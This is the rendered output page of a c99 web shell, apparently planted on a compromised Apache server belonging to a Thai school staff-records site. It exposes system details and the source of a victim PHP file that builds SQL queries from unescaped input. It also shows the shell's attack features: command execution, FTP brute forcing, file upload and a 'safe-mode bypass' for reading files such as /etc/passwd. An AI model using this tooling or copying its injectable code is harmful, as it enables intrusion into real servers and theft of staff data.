!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Develop_person_depart/   drwxr-xr-x
Free 52.63 GB of 127.8 GB (41.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEditPersonal_bkp.php (4.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

 if (
session_is_registered("valid_user")&&session_is_registered("Priority"))
 {
include(
"../include/FunctionDB.php");
include(
"../include/Function.php");
include(
"admin_menu.php");
 
ConnectDB();
$Username $valid_user;
$sql "Select * From personal_tb Where Teacher_code='$Teacher_code'";
$result mysql_query($sql) or die(" Error").mysql_error();
$rsmysql_fetch_array($result);

?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<style type="text/css">
<!--
.style15 {font-size: 14px}
-->
</style>
<table width="807" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="807"><br>
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Menu_Develop.php" >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Add_His_Absent.php?Teacher_code=<? echo $rs[Teacher_code?>">เพิ่มวันลา</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Menu_History.php?Teacher_code=<? echo $rs[Teacher_code?>"></a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="EditAbsentList.php?Teacher_code=<? echo $rs[Teacher_code?>">แก้ไขข้อมูลวันลา</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />แก้ไขวันลา</font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="EditPersonal.php">
                <p align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
                <table width="63%" border="0" align="center" cellpadding="0" cellspacing="0" style=" border:0px solid gray"size="12">
                  
                  
                  <tr>
                    <td height="43" ><table width="82%" border="0" align="center" cellpadding="0" cellspacing="1" style="background-color:#eeeeee; border:0px solid gray"size="12">
                      
                      <tr bgcolor="#EEEEEE">
                        <td colspan="3" bgcolor="#FFFFFF">&nbsp;</td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td width="25%" bgcolor="#FFFFFF"><div align="center"><font color="#003366" size="2" face="Tahoma">ชื่อ 
                          - นามสกุล</font></div></td>
                        <td width="2%" bgcolor="#FFFFFF">&nbsp;</td>
                        <td width="73%" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">&nbsp;&nbsp;<? echo $rs[First_name]?> <? echo $rs[Teacher_name]?>&nbsp;<? echo $rs[Teacher_lastname]?></font></td>
                      </tr>
                      
                      <tr bgcolor="#eeeeee">
                        <td height="33" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center"><font color="#003366" size="2" face="Tahoma">ประเภทการลา</font></div></td>
                        <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                        <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <select name="StatusId" id="StatusId" class="input1">
                            <?php
            $StatusId 
$rs["StatusId"];
            
$strSQL3 "SELECT * FROM  status  Where StatusId='$StatusId' ";
           
$result3 mysql_query($strSQL3); 
           
$strSQL2 "SELECT * FROM status  ";
            
$result2 mysql_query($strSQL2);
                 while( 
$rs3 mysql_fetch_array($result3))     
                     {
                 echo
"<option value=\"$rs3[StatusId]\" ><b>$rs3[StatusTh]</b></option>\n";
                         while( 
$rs2 mysql_fetch_array($result2))
                {
                echo
"<option value=\"$rs2[StatusId]\" ><b>$rs2[StatusTh]</b></option>\n";
                }
                }
                
CloseDB();  
                
          
?>
                          </select>
                        </font></strong></font></td>
                      </tr>
                      
                      <tr bgcolor="#FDD88A">
                        <td colspan="3" bgcolor="#FFFFFF"><div align="center">
                            <input type="hidden" name="Teacher_code" value="<? echo $rs[Teacher_code]?>" />
                            <input type="submit" name="Submit" value=" แก้ไข" class="button" />
                        </div></td>
                      </tr>
                    </table></td>
                  </tr>
                </table>
              </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0125 ]--